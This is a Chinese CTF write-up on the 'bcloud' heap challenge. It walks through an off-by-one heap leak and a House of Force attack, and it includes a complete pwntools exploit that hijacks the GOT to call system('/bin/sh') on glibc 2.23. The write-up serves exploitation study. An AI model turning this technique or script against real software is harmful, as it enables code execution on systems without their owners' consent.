bcloud
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ➜ [/home/ywhkkx/桌面] ./bcloud Input your name: ywhkkx Hey ywhkkx! Welcome to BCTF CLOUD NOTE MANAGE SYSTEM! Now let' s set synchronization options. Org: hehe Host: heh OKay! Enjoy:) 1. New note2. Show note3. Edit note4. Delete note5. Syn6. Quitoption--->>
1 2 3 4 5 6 7 8 bcloud: ELF 32 -bit LSB executable, Intel 80386 , version 1 (SYSV), dynamically linked, interpreter /home/ywhkkx/tool/glibc-all-in-one/libs/2.23 -0u buntu11.3 _i386/ld-2.23 .so, for GNU/Linux 2.6 .24 , BuildID[sha1]=96 a3843007b1e982e7fa82fbd2e1f2cc598ee04e, stripped [*] '/home/ywhkkx/桌面/bcloud' Arch: i386-32 -little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8047000 )
32位,dynamically,开了canary,开了NX
漏洞分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 void __cdecl readStr (char *str, int size, char a) { char buf; int i; for ( i = 0 ; i < size; ++i ) { if ( read(0 , &buf, 1u ) <= 0 ) exit (-1 ); if ( buf == a ) break ; str[i] = buf; } str[i] = 0 ; }
经典的一字节溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 void delNote () { int index; char *ptr; puts ("Input the id:" ); index = readInt(); if ( index >= 0 && index <= 9 ) { ptr = noteList[index]; if ( ptr ) { noteList[index] = 0 ; noteLens[index] = 0 ; free (ptr); puts ("Delete success." ); } else { puts ("Note has been deleted." ); } } else { puts ("Invalid ID." ); } }
free 没有置空指针,但是对“noteList”和“noteLens”进行了清零操作,使后续的修改模块无法获取这个chunk
入侵思路
首先要实现 leak,由于本程序的打印模块是假的:
1 2 3 4 void no_work () { puts ("WTF? Something strange happened." ); }
所以只有这一个位置可以打印:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 void input_name () { char name[64 ]; char *name_heap; unsigned int v2; v2 = __readgsdword(0x14 u); memset (name, 0 , 0x50 u); puts ("Input your name:" ); readStr(name, 0x40 , 10 ); name_heap = (char *)malloc (0x40 u); name_list = (int )name_heap; strcpy (name_heap, name); hello((int )name_heap); } void __cdecl hello (int a1) { printf ("Hey %s! Welcome to BCTF CLOUD NOTE MANAGE SYSTEM!\n" , (const char *)a1); puts ("Now let's set synchronization options." ); }
输入48个“a”的确可以溢出东西,但仍需要确定是什么:
1 2 3 4 5 6 p.readuntil("name:\n" ) p.send("a" *0x40 ) p.read(0x44 ) heap = u32(p.read(4 )) success("heap >> " +hex (heap))
1 2 3 4 pwndbg> stack 50 00 :0000 │ esp 0xffe16710 —▸ 0x8048e2c ◂— dec eax 01 :0004 │ 0xffe16714 —▸ 0x9cc1008 ◂— 0x61616161 ('aaaa' )02 :0008 │ 0xffe16718 —▸ 0xffe1674c ◂— 0x61616161 ('aaaa' )
1 2 3 4 5 6 pwndbg> x/20 xw 0x9cc1008 0x9cc1008 : 0x61616161 0x61616161 0x61616161 0x61616161 0x9cc1018 : 0x61616161 0x61616161 0x61616161 0x61616161 0x9cc1028 : 0x61616161 0x61616161 0x61616161 0x61616161 0x9cc1038 : 0x61616161 0x61616161 0x61616161 0x61616161 0x9cc1048 : 0x09cc1008 0x00020f00 0x00000000 0x00000000
地址“0x09cc1008”将会被泄露出来,它既是 heap 的首地址
为什么会这样呢?我刚开始以为是 off-by-null 的效果,后来仔细分析代码发现根本不是这个原因
1 2 char name[64 ]; char *name_heap;
1 name_heap = (char *)malloc (0x40 u);
malloc 执行以后,返回的地址写入 name_heap,反向覆盖了 name 末尾的“\x00”,导致 name_heap 也可以被打印出来了(和 books 很像)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 void input_oh () { char org[64 ]; char *org_heap; char host[68 ]; char *host_heap; unsigned int v4; v4 = __readgsdword(0x14 u); memset (org, 0 , 0x90 u); puts ("Org:" ); readStr(org, 0x40 , 10 ); puts ("Host:" ); readStr(host, 0x40 , 10 ); host_heap = (char *)malloc (0x40 u); org_heap = (char *)malloc (0x40 u); org_list = (int )org_heap; host_list = (int )host_heap; strcpy (host_heap, host); strcpy (org_heap, org); puts ("OKay! Enjoy:)" ); }
这个函数一看就有问题(交叉写入的方式,还有 off-by-one,很容易出漏洞)
和上一个函数一样的问题,导致 org + org_heap + host_heap 一起被复制到了 org_heap,我们可能可以控制 top chunk 的 size 了(org_heap 覆盖 top chunk->presize,host_heap 覆盖 top chunk->size)
1 2 3 4 5 p.readuntil("Org:" ) p.send("a" *0x40 ) p.readuntil("Host:" ) p.sendline(p32(0xffffffff )) p.readuntil("Enjoy:" )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x824c000 Size: 0x49 Allocated chunk | PREV_INUSE Addr: 0x824c048 Size: 0x49 Allocated chunk | PREV_INUSE Addr: 0x824c090 Size: 0x49 Allocated chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA Addr: 0x824c0d8 Size: 0xffffffff
现在 House Of Force 的条件已经准备好了,现在要考虑怎么打 House Of Force
先看修改模块:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 void editNote () { int index; char *note; int len; puts ("Input the id:" ); index = readInt(); if ( index >= 0 && index <= 9 ) { note = noteList[index]; if ( note ) { len = noteLens[index]; syned[index] = 0 ; puts ("Input the new content:" ); readStr(note, len, 10 ); puts ("Edit success." ); } else { puts ("Note has been deleted." ); } } else { puts ("Invalid ID." ); } }
“noteList”(0x804B120)中的地址可以被修改模块控制,所以可以控制它来打hook劫持
现在来考虑的是:怎么分割 top chunk 来使 newchunk 分配到“noteList”上
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 void newNote () { int i; int len; for ( i = 0 ; i <= 9 && noteList[i]; ++i ) ; if ( i == 10 ) { puts ("Lack of space. Upgrade your account with just $100 :)" ); } else { puts ("Input the length of the note content:" ); len = readInt(); noteList[i] = (char *)malloc (len + 4 ); if ( !noteList[i] ) exit (-1 ); noteLens[i] = len; puts ("Input the content:" ); readStr(noteList[i], len, 10 ); printf ("Create success, the id is %d\n" , i); syned[i] = 0 ; } }
申请模块就没有什么价值了
打 House Of Force ,把 top chunk的数据区 分割到 note_list:
1 2 3 4 5 6 7 8 9 10 11 12 13 note_list = 0x804B120 top_chunk_addr = heap + 0xD8 offset = note_list - (top_chunk_addr + 0x8 ) - 24 new_note(0x10 , "kkk" ) new_note(offset,'' ) payload = p32(elf.got["free" ]) payload += p32(elf.got["atoi" ]) payload += p32(elf.got["atoi" ]) new_note(0x100 , payload)
申请 0x10 是为了在noteLens[0]中写入 0x10 (假设没有此操作,后续需要的字节数不能满足)
现在看看这个偏移是怎么算的:offset = note_list - top_chunk_addr - 0x8 - 24
new_note(0x10, “kkk”) 申请前:
1 2 3 Allocated chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA Addr: 0x9db20d8 Size: 0xffffffff
new_note(0x10, “kkk”) 申请后:
1 2 3 4 5 6 7 Allocated chunk | PREV_INUSE Addr: 0x9db20d8 Size: 0x19 Top chunk | PREV_INUSE Addr: 0x9db20f0 Size: 0xffffffe1
1 2 In [2 ]: 0x9db20f0 -0x9db20d8 Out[2 ]: 24
每次申请 “size” 字节的 chunk ,top thunk 都增加 “size” 字节,如果申请一个比较大的 “size” ,导致最高位溢出,就可能会申请到 note_list:
1 2 0x9db20f0 + 0x8 (top chunk data) + offset = 0x100804B120 (note_list)offset = note_list - top chunk data
直接减也可以获取相似的效果(即使它是负数,也会被当成 unsigned long)
通过数学计算得:用这种操作会有1字节的误差,但是被内存对齐抵消了
GDB查看内存:
1 2 3 4 5 pwndbg> telescope 0x804B120 00 :0000 │ 0x804b120 —▸ 0x804b014 (free @got.plt) —▸ 0x80484e6 (free @plt+6 ) ◂— push 0x10 01 :0004 │ 0x804b124 —▸ 0x804b03c (atoi@got.plt) —▸ 0xf7d73260 (atoi) ◂— sub esp, 0x10 02 :0008 │ 0x804b128 —▸ 0x804b03c (atoi@got.plt) —▸ 0xf7d73260 (atoi) ◂— sub esp, 0x10 03 :000 c│ 0x804b12c ◂— 0x0
修改 note_list[0] 打 GOT 劫持:
1 2 3 4 5 6 7 8 9 10 11 12 edit_note(0 , p32(elf.symbols["printf" ]+6 )) delete_note(1 ) atoi_libc = u32(p.read(4 )) p.readuntil("success." ) libc_base = atoi_libc - libc.symbols["atoi" ] print ("libc_base >> " + hex (libc_base))system = libc.symbols["system" ] + libc_base edit_note(2 , p32(system)) p.sendline("/bin/sh" ) p.interactive()
完整代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 from pwn import *def new_note (len ,content ): p.readuntil("--->>" ) p.sendline("1" ) p.readuntil("content:" ) p.sendline(str (len )) p.readuntil("content:" ) p.sendline(content) def edit_note (i, data ): p.readuntil("--->>" ) p.sendline("3" ) p.readuntil("id:\n" ) p.sendline(str (i)) p.readuntil("content:\n" ) p.sendline(data) p.readuntil("success." ) def delete_note (i ): p.readuntil("--->>" ) p.sendline("4" ) p.readuntil("id:\n" ) p.sendline(str (i)) p = process("./bcloud" ) elf = ELF("./bcloud" ) libc = ELF("./libc-2.23.so" ) p.readuntil("name:\n" ) p.send("a" *0x40 ) p.read(0x44 ) heap = u32(p.read(4 )) success("heap >> " +hex (heap)) p.readuntil("Org:" ) p.send("a" *0x40 ) p.readuntil("Host:" ) p.sendline(p32(0xffffffff )) p.readuntil("Enjoy:" ) note_list = 0x804B120 top_chunk_addr = heap + 0xD8 offset = note_list - (top_chunk_addr + 0x8 ) - 24 new_note(0x10 , "kkk" ) new_note(offset,'' ) payload = p32(elf.got["free" ]) payload += p32(elf.got["atoi" ]) payload += p32(elf.got["atoi" ]) new_note(0x100 , payload) edit_note(0 , p32(elf.symbols["printf" ]+6 )) delete_note(1 ) atoi_libc = u32(p.read(4 )) p.readuntil("success." ) libc_base = atoi_libc - libc.symbols["atoi" ] print ("libc_base >> " + hex (libc_base))system = libc.symbols["system" ] + libc_base edit_note(2 , p32(system)) p.sendline("/bin/sh" ) p.interactive()
house of force 小结(2.23-32位)
house of force 的核心在于:
溢出字节覆盖 top chunk 的 size 位
计算偏移,把 top chunk 分割到可以修改的目标地址
特点归纳如下:
需要可以控制的修改模块
需要可以输入任意大小的申请模块(包括负数)
需要堆溢出(覆盖“topchunk->size”)
不需要释放模块
修改“topchunk->size”和“计算目标偏移”就是这种攻击的关键,通常用堆溢出的方式来修改“topchunk->size”,而以下公式可以用来计算偏移
1 2 3 offset = target_addr - (top_chunk_addr + 0x8 )
PS:次题目在 2.27 版本无法打通,GDB调试后发现 “0xffffffff” 并没有被 strcpy 复制
2.23 版本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 pwndbg> telescope 0x8aec000 00 :0000 │ 0x8aec000 ◂— 0x0 01 :0004 │ 0x8aec004 ◂— 0x49 02 :0008 │ 0x8aec008 ◂— 0x61616161 ('aaaa' )... ↓ 5 skipped pwndbg> 08 :0020 │ 0x8aec020 ◂— 0x61616161 ('aaaa' )... ↓ 7 skipped pwndbg> 10 :0040 │ 0x8aec040 ◂— 0x61616161 ('aaaa' )11 :0044 │ 0x8aec044 ◂— 0x61616161 ('aaaa' )12 :0048 │ 0x8aec048 —▸ 0x8aec008 ◂— 0x61616161 ('aaaa' )13 :004 c│ 0x8aec04c ◂— 0x49 14 :0050 │ 0x8aec050 ◂— 0xffffffff 15 :0054 │ 0x8aec054 ◂— 0x0
2.27 版本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 pwndbg> telescope 0x9b19158 00 :0000 │ 0x9b19158 ◂— 0x0 01 :0004 │ 0x9b1915c ◂— 0x51 02 :0008 │ 0x9b19160 ◂— 0x61616161 ('aaaa' )... ↓ 5 skipped pwndbg> 08 :0020 │ 0x9b19178 ◂— 0x61616161 ('aaaa' )... ↓ 7 skipped pwndbg> 10 :0040 │ 0x9b19198 ◂— 0x61616161 ('aaaa' )11 :0044 │ 0x9b1919c ◂— 0x61616161 ('aaaa' )12 :0048 │ 0x9b191a0 —▸ 0x9b19160 ◂— 0x61616161 ('aaaa' )13 :004 c│ 0x9b191a4 ◂— 0x0 14 :0050 │ 0x9b191a8 ◂— 0x0 15 :0054 │ 0x9b191ac ◂— 0x51 16 :0058 │ 0x9b191b0 ◂— 0xffffffff
发现程序的对齐方式变了:
2.23 版本:8字节对齐(0x8)
2.27 版本:16字节对齐(0x10)
导致“org[64]”到了“0x9b191a4”才结束,“host[68]”和“org[64]”之间有“\x00”,所以复制失败